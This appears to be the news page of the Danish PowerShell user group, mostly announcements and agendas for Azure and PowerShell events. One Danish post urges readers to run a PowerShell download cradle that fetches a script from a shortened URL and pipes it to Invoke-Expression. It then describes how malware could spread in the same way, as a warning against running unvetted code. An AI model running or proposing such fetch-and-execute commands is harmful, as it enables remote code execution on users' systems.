Learn all about Azure & PowerShell.

It is time for you to get out your calendars and mark the dates September 1st and 2nd

The Danish PowerShell user group is setting up a two-day event, where you will be able to learn all about automating operational and management tasks in Azure. We will take a deep dive into topics like Azure Resource Manager (ARM), Azure Automation, PowerShell Desired State Configuration–all the stuff that will bring you up to speed on the latest Azure technologies, and what you’ll need to know to manage it efficiently.

Day 1 September 1st from 9.00-16.00

We will start by introducing you to Azure PowerShell Modules. Learn what you need to be aware of and how to get started! This could save you from lots of extra work!

Then we will look at Azure Automation from the basics. Learn what this service is for and how to get started. Get introduced to the different features. (Hint: this service is free for up to 500 minutes every month!)

Next up is automated deployment of VMs and having them enabled for Azure backup as well using the Azure ARM PowerShell.

Then follows an introduction to Desired State Configuration (DSC) architecture and how to use it to manage your VMs in Azure using the Azure Powershell DSC Extension.

Finally we will go deeper into the Azure automation world, with some more complex examples and advanced subjects such as Integrating SharePoint workflows into the service and have the service execute PowerShell workflows code in your environment!

 

Agenda:

 

09:00 – 09:15 Intro Claus Thude Nielsen – @Claustn
09:15 – 10:15 Session 1 Azure+PowerShell: Two Shades of Blue
Aleksandar Nikolić – @alexandair

When you want to manage repetitive Azure IaaS tasks and processes efficiently, Azure Portals are not good enough. You cannot even perform some of the tasks using GUIs. We will talk about how to use PowerShell, PowerShell Workflow-based Azure Automation, and Azure PowerShell DSC Extension to automate tasks in Azure. With automation, IT costs can be reduced and efficient deployments are made possible.
10:15- 10:30 Break 1
10:30 – 11:30 Session 2 Azure Automation – Introduction
Jakob Gottlieb Svendsen – @JakobGSvendsen

Learn about the new cloud based automation solution from Microsoft Azure! Get an introduction to the basics and learn your way around this service.
11:30 – 12:15 Break 2 – Lunch
12:15 – 13:15 Session 3 Protectiong workload with Azure Backup and monitor it with OMS
Flemming Riis – @FlemmingRiis
Session will cover provisioning of virtual machines through powershell and Azure UI, then creating protection groups and doing backup / recovery

And adding the machines to Microsoft Operations Management Suite

13:15 – 13:30 Break 3
13:30 – 14:30 Session 4 Managing Microsoft Azure IaaS with Windows PowerShell DSC
Aleksandar Nikolić – @alexandair
When you need to quickly provision and reliably manage environment on Microsoft Azure nothing beats automation. Learn how to manage Microsoft Azure Virtual Machines and prevent their configuration drift using Windows PowerShell Desired State Configuration.
14:30 – 14:45 Break 4
14:45 – 15:45 Session 5 Azure Automation – Deep Dive
Jakob Gottlieb Svendsen – @JakobGSvendsen
Get deeper knowledge about the services offered by Azure Automation. Using the graphical interface. Using Web Hooks. Using the Hybrid Worker for on-prem actions.
15:45 – 16:00 End

 

Signup Day 1

 

Location

Microsoft Danmark

Tuborg Blvd. 12, 2900 Hellerup

 


 

Day 2 (Hands on lab (Limited to 18 participants)) September 2nd from 9.00-15.00

We are going to do a hands-on lab, where people will be required to bring their own laptop.

We will look at how to group Azure resources as logical units, and how to stand up complex environments, using ARM cmdlets. This means we can install VMs, create VNet etc. in one go. We will look at the different resources we can manage through ARM, and look at how to use the templates to make it all happen.

Participants for the Hands-On lab, will get a separate e-mail with practical details regarding the event.

 

Signup Day 2

Location

Microsoft Danmark

Tuborg Blvd. 12, 2900 Hellerup

 

Remember to follow us on www.PSUG.dk, for more details on this and other events.

LinkedIn http://www.linkedin.com/groups/PSUGDK-4721752

 

Claus T Nielsen

 

 

 

 

Posted in News

PowerShell and Azure Automation

It is time for you to get out your calendars and mark the dates September 1st and 2nd

The Danish PowerShell user group is setting up a two-day event, where you will be able to learn all about automating operational and management tasks in Azure. We will take a deep dive into topics like Azure Resource Manager (ARM), Azure Automation, PowerShell Desired State Configuration–all the stuff that will bring you up to speed on the latest Azure technologies, and what you’ll need to know to manage it efficiently.

Day 1 September 1st from 9.00-16.00

We will look at what Azure Resource Manager (ARM) is, where it come from, and what problems it will help us solve, then we will take a closer look at ARM templates and how to use them.

Then we will show some real world examples of how to use it to deploy multi server environments.

 

We will also look at the basics of Azure Automation, and look at what we can do with it, both through the GUI and through PowerShell. We will dig deeper into how you can configure it through the GUI but also through webhooks. Then we will finish off by having a look at Hybrid Runbook Workers.

Managing Azure IaaS with PowerShell is also a very important skill to learn, so we will look at how to use PowerShell and Azure PowerShell DSC Extension to manage virtual machines in Azure.

Day 1 Registration

 

Day 2 (Hands on lab (Limited to 18 participants)) September 2nd from 9.00-15.00

We are going to do a hands-on lab, where people will be required to bring their own laptop.

We will look at how to group Azure resources as logical units, and how to stand up complex environments, using ARM templates. This means we can install VMs, create VNet etc. in one go. We will look at the different resources we can manage through ARM, and look at how to use the templates to make it all happen.

Day 2 Registration

Location

Microsoft Danmark

Tuborg Blvd. 12, 2900 Hellerup

Speakers and organizers:

Aleksandar Nikolic, PowerShell MVP

Flemming Riis, System Center Cloud and Datacenter Management MVP

Kristian Nese, System Center Cloud and Datacenter Management MVP

Jakob G Svendsen, System Center Cloud and Datacenter Management MVP

Claus T Nielsen, PowerShell MVP

Heine Jeppesen

Simon J. K. Pedersen

The Danish PowerShell UserGroup

WWW.PSUG.DK

If you have any questions contact Claus Thude Nielsen claustn@psug.dk

Posted in News

Tid til at sætte X i kalenderen 1 og 2 September

Vi holder et arrangement 1 og 2 September, hvor vi vil have fokus på Azure og Azure Automation.
Der vil blive kigget på

Azure Resource Manager (ARM)
Azure Automation
Azure og PowerShell sammen
Azure og Desired State Configuration

Dag 1 bliver et heldags event, hvor vi blandt andet har Flemming Riis, Aleksandar Nicolic, Jakob Svendsen til at tale.
Dag 2 bliver et noget mindre event, hvor det bliver mere hands-on og der vil derfor være langt færre pladser…

Vi er ved at arbejde på en lidt større beskrivelse af eventet, men ville lige give folk en heads up, så de kan nå at sætte X i kalenderen
Mere info følger snarest.

Posted in News

Danish PowerShell UserGroup June 2015 Event

Vi har fået muligheden for at holde et arrangement inden sommerferien!

Dermed inviteres i til en halv dags hygge med PowerShell!

 

Foreløbig agenda:

12:00 – 12:15 – Intro

12:15 – 13:15 – Dennis – Toolmaker session

13:15 – 13:30 – Pause

13:45 – 14:30 – Jakob – Azure Automation – What’s new – Graphical Editor, Webhooks, Hybrid Worker

14:30 – 14:45 – Pause

14:45 – 15:45 – Claus – Windows Management Framework 5 – What’s new

15:45 – 16:00 – Network / diskussio

Location:

Microsoft, Hellerup

Tilmelding:

http://www.eventbrite.co.uk/e/danish-powershell-usergroup-june-2015-event-tickets-17275000993

Linked in gruppen

https://www.linkedin.com/grp/home?gid=4721752&sort=POPULAR

Vi ser frem til at se jer!

Posted in News

Sjov og potentielt ballade

Jeg faldt over nedenstående link igen forleden, som gav mig lidt stof til eftertanke.
(Altså ud over det er sejt lavet).

Inden du læser videre, så prøv at køre denne kommando i PowerShell:
$ra = (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”)

Tag et kig på hvad der ligger i $ra variablen, inden du kører den med “Invoke-Expression $ra”

Dvs. denne meget lille kommando, henter en masse simpelt encoded data og mere PowerShell script fra en forkortet URL.
Elegant, sjovt og underholdende (hvis man er til 80’er musik).

Prøv så at tænk på, hvor nemt det er at snige malware ind på samme måde – Altså i form af PowerShell kode.
Man skal ikke have meget fantasi, før man kan se hvor meget skade der kan laves på denne baggrund.

AD opslag efter alle computer objekter, et par workflow/multitrådede jobs der hopper på hver af dem via Remoting og gør “noget”.

Wiper alle data diske, sletter data, modificerer data, zipper og uploader data m.m. via BITS.
Det ville være hamrende simpelt, at modificere BCD på alle maskiner (server/pc’er), så de ikke kan starte op næste gang de genstarter.

Det hele kan ske på ganske få sekunder, fordi det er hvad PowerShell (og remoting) kan og er skabt til.
Vi har endda gennemgået, det meste af den nødvendige funktionalitet på PSUG møderne 😉

Hvis der skal være en morale ved min eftertanke, er det vel:

  • Kør aldrig ikke-valideret kode fra nettet og *ALDRIG* med administrative rettigheder!
    Kig koden igennem og er du i tvivl – så lad enten være med at køre det eller spørg om hjælp til at kigge på det.

 

  • PowerShell, Remoting m.m. er et mægtigt værktøj til administration. Men det kan også bruges negativt.
    Begræns adgange. Brug f.eks. separate konti til administration af servere, pc’er og domæne.
    Brug constrained endpoints istedet for at give fuld adgang til alle admin.

 

P.S: Kørte du Invoke-Expression $ra uden at kigge koden igennem? :-)

 

-Heine / PSUG.dk

 

Posted in News Tagged with: , ,

Der er stadigt nogle små problemer med sitet ; (

Jeg er så småt igang med at prøve at få sitet fuldt funktionsdygtigt igen, efter det har været inficeret..

Det meste burde køre igen, men hvis i oplever problemer må i meget gerne kontakte mig.

 

–Claus

claustn ‘Snabel @’ Automate-it.dk

Posted in News

Danish PowerShell UserGroup presents Sapien Technologies’ CEO – Dr. Ferdinand G. Rios!

Vi har hermed den glæde at kunne præsentere SAPIEN technologies CEO – Dr. Ferdinand G. Rios, som kommer forbi til et fyraftens arrangement og præsenterer deres gode værktøjer til at håndtere PowerShell GUI.

Mødet afholdes den 29. September hos Microsoft i Hellerup.

Der vil blive serveret forfriskninger og kaffe/the.

og der vil selvfølgelig også være lodtrækning om noget lækkert Swag!

Short Bio:

Dr. Ferdinand G. Rios is a 25+ year veteran of the software industry. His experience in the field runs the gamut from tech support specialist to developer; from data entry clerk to CEO. Besides his responsibilities as CEO, Dr. Rios enjoys being the lead programmer on SAPIEN’s mobile technology application, iPowerShell Pro.

 

Tid Taler Session
16:30 – ~18:00 Dr. Ferdinand G. Rios Building PowerShell GUI Tool Solutions  Abstract: Ferdinand Rios, CEO of SAPIEN Technologies, will discuss the differences between scripts and tools and how to easily create GUI based tools using PowerShell Studio 2014.
Posted in News

August UserGroup møde

Vi har hermed den glæde at indbyde til det første heldagsarrangement i PowerShell Usergroup Danmark.
Det har længe været et ønske fra vores side, at kunne samle indhold nok til at kunne afholde en hel dag og det er nu lykkedes.

Denne gang får vi bl.a. besøg af PowerShell MVP Aleksandar Nikolic (Husk vi har enafsteming omkring hvad han skal snakke om her https://da.surveymonkey.com/s/V2XJTWB), Dagen fortsætter med indlæg af Mathias Rørbo Jessen (TDC Hosting), der gerne vil fortælle om bl.a. threading og hvorfor Workflows ikke altid er interessante i performance sammenhæng.
Ud over ovenstående vil der også være sessioner med Jakob Svendsen, Dennis Rye og Claus Thude Nielsen

 

Tid Taler Session
10:00 – 11:00 Aleksandar Nikolic Everything You Always Wanted to Know About Implicit Remoting (But Were Afraid to Ask)  

Abstract: We’re exposing the secrets of implicit remoting to the sunlight! Come and discover the power (and convenience) of implicit remoting. This is an in-depth session about different ways to invoke implicit remoting, with many details about its inner workings, potential gotchas, and the benefits it brings to a user.

11:00 – 11:15 Pause Pause
11:15 – 12:00 Dennis Rye DSC – Lessons Learned 

Abstract: Med Desired State Configuration og PowerShell, har Microsoft givet os et værktøj til at håndtere vores server konfigurationer som var det kode, og dermed gøre det nemmere at drive infrastrukturen i DevOps tankegangen. Samtidig er der dog en masse nye problemstillinger som der skal tages stilling til, og vi skal lære hvad DSC skal bruges til, og ikke skal bruges til. Dennis gennemgår hvad de hos SYSTEMHOSTING har lært under deres første implementering af DSC, og hvilke design valg de har taget undervejs.

 

12:00 – 12:45 Frokost Frokost
12:45 – 13:45 Aleksandar Nikolic Getting Started with Windows PowerShell Workflow 

Abstract: Windows PowerShell Workflow functionality is part of Windows PowerShell 3.0 and newer releases of Windows PowerShell. Windows PowerShell Workflow helps automate the distribution, orchestration, and completion of multi-device tasks. With the introduction of Service Management Automation (SMA) and Azure Automation, it’s very clear that Windows PowerShell Workflow plays an important role in automation of management tasks, both on-premises and in the cloud. Join us to learn more about fundamentals of this powerful technology.

13:45 – 14:00 Pause
14:00 – 14:45 Jakob G. Svendsen Creating PowerShell GUIs using Windows Presentation Foundation (WPF/XAML) 

Abstract: Se en opbygning fra start til slut af et GUI baseret script der udnytter Windows Forms’ efterfølger Windows Presentation Foundation.

15:00 – 15:45 Mathias Rørbo Jessen Powershell performance via Runspaces 

Abstract: Se en af mulighederne for at øge hastigheden på din script afvikling gennem brug af Runspaces samt RunSpace pools.

15:45 – 16:00 Pause
16:00 – 16:30 Claus Thude Nielsen PowerShell ISE og plugins 

Abstract:  Se på hvordan man kan øge produktiviteten med Powershell ISE og nogle af de plugins der findes til at gøre hverdagen lettere.

 

Mødet afholdes denr 26. august hos Microsoft i Hellerup.
Der vil blive serveret forfriskninger, kaffe/the og frokost.

Posted in News

Aleksandar Nikolic’ sessioner

Link til afstemning omkring hvilke 2 sessioner Aleksandar skal give til næste arrangement.
https://da.surveymonkey.com/s/V2XJTWB

Title: Everything You Always Wanted to Know About Implicit Remoting (But Were Afraid to Ask)
Abstract: We’re exposing the secrets of implicit remoting to the sunlight! Come and discover the power (and convenience) of implicit remoting. This is an in-depth session about different ways to invoke implicit remoting, with many details about its inner workings, potential gotchas, and the benefits it brings to a user.

Title: Automating Microsoft Azure IaaS with Windows PowerShell
Abstract: This session shows you how to use the Windows Azure PowerShell cmdlets to automate most aspects of your Microsoft Azure Infrastructure Services deployments directly from PowerShell. If you are interested in how to create reliable and reproducible deployments, and how to easily automate management tasks in Microsoft Azure, this is the session for you.

Title: Getting Started with Windows PowerShell Workflow
Abstract: Windows PowerShell Workflow functionality is part of Windows PowerShell 3.0 and newer releases of Windows PowerShell. Windows PowerShell Workflow helps automate the distribution, orchestration, and completion of multi-device tasks. With the introduction of Service Management Automation (SMA) and Azure Automation, it’s very clear that Windows PowerShell Workflow plays an important role in automation of management tasks, both on-premises and in the cloud. Join us to learn more about fundamentals of this powerful technology.

Title: Get Behind the Dashboard of Server Manager
Abstract: You’ve probably heard that Server Manager in Windows Server 2012/ 2012 R2 is built on top of Windows PowerShell. But do you know what actually happens when you start Server Manager, and perform some deployment steps? Join us to learn about commands that run under the covers, how to automate some aspects of Server Manager, and how to extend its functionality with your own PowerShell scripts.

Posted in News

Hvilken session skal udskydes ?

Vi har været så heldige, at vi har flere talere end vi har tid til, til vores næste event. Derfor vil én session, blive udskudt til næste event i slutningen af August. Men hvilken én vil i gerne have udskudt ? Stem nedenfor.

Afstemningen løber kun nogle få dage, i respekt for talerne og deres forberedelses tid.

https://da.surveymonkey.com/s/TY3DX9P

Vi har været så heldige, at vi har flere talere end vi har tid til, til vores næste event. Derfor vil én session, blive udskudt til næste event i slutningen af August.

Posted in News